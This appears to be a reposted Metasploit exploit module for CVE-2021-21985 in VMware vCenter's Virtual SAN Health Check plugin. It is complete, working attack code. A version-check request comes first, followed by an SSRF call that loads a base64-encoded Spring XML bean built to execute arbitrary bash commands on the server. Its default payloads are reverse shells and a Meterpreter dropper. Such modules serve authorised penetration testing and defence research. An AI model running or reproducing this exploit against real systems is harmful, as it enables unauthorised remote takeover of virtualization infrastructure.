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VMware vCenter Server Virtual SAN Health Check Remote Code Execution Exploit
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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'VMware vCenter Server Virtual SAN Health Check Plugin RCE', 'Description' => %q{ This module exploits Java unsafe reflection and SSRF in the VMware vCenter Server Virtual SAN Health Check plugin's ProxygenController class to execute code as the vsphere-ui user. See the vendor advisory for affected and patched versions. Tested against VMware vCenter Server 6.7 Update 3m (Linux appliance). }, 'Author' => [ 'Ricter Z', # Discovery and PoC used 'wvu' # Analysis and exploit ], 'References' => [ ['CVE', '2021-21985'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0010.html'], ['URL', 'https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis'], ['URL', 'http://noahblog.360.cn/vcenter-cve-2021-2021-21985/'], # Other great writeups! ['URL', 'https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/'], ['URL', 'https://testbnull.medium.com/a-quick-look-at-cve-2021-21985-vcenter-pre-auth-rce-9ecd459150a5'], ['URL', 'https://y4y.space/2021/06/04/learning-jndi-injection-from-cve-2021-21985/'], ['URL', 'https://github.com/alt3kx/CVE-2021-21985_PoC'] ], 'DisclosureDate' => '2021-05-25', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], # TODO: Windows? 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python_ssl' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [FIRST_ATTEMPT_FAIL], # SSRF can be a little finicky 'SideEffects' => [ IOC_IN_LOGS, # /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log ARTIFACTS_ON_DISK # CmdStager ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check # https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri( target_uri.path, '/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty' ), 'ctype' => 'application/json', 'data' => { 'methodInput' => ['user.name', nil] }.to_json ) return CheckCode::Unknown unless res unless res.code == 200 && res.get_json_document['result'] == 'vsphere-ui' return CheckCode::Safe end CheckCode::Vulnerable('System property user.name is vsphere-ui.') end def exploit print_status("Executing #{payload_instance.refname} (#{target.name})") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) vprint_status(cmd) url = OfflineBundle.new(cmd).to_url res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri( target_uri.path, '/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages' ), 'ctype' => 'application/json', 'data' => { 'methodInput' => [ ["https://localhost/vsanHealth/vum/driverOfflineBundle/#{url}"], false # lazyInit ] }.to_json ) fail_with(Failure::PayloadFailed, cmd) unless res&.code == 200 end class OfflineBundle attr_accessor :cmd def initialize(cmd) @cmd = cmd end def to_xml bean = Rex::Text.rand_text_alpha_lower(8..16) prop = Rex::Text.rand_text_alpha_lower(8..16) # https://www.tutorialspoint.com/spring/spring_bean_definition.htm <<~XML <beans> <bean id="#{bean}" class="java.lang.ProcessBuilder"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[#{cmd}]]></value> </list> </constructor-arg> <property name="#{prop}" value="\#{#{bean}.start()}"/> </bean> </beans> XML end def to_zip Msf::Util::EXE.to_zip([ fname: 'offline_bundle.xml', data: to_xml.gsub(/^\s+/, '').tr("\n", '') ]) end def to_url # https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs "data:application/zip;base64,#{Rex::Text.encode_base64(to_zip)}" end end end # 0day.today [2024-07-02] #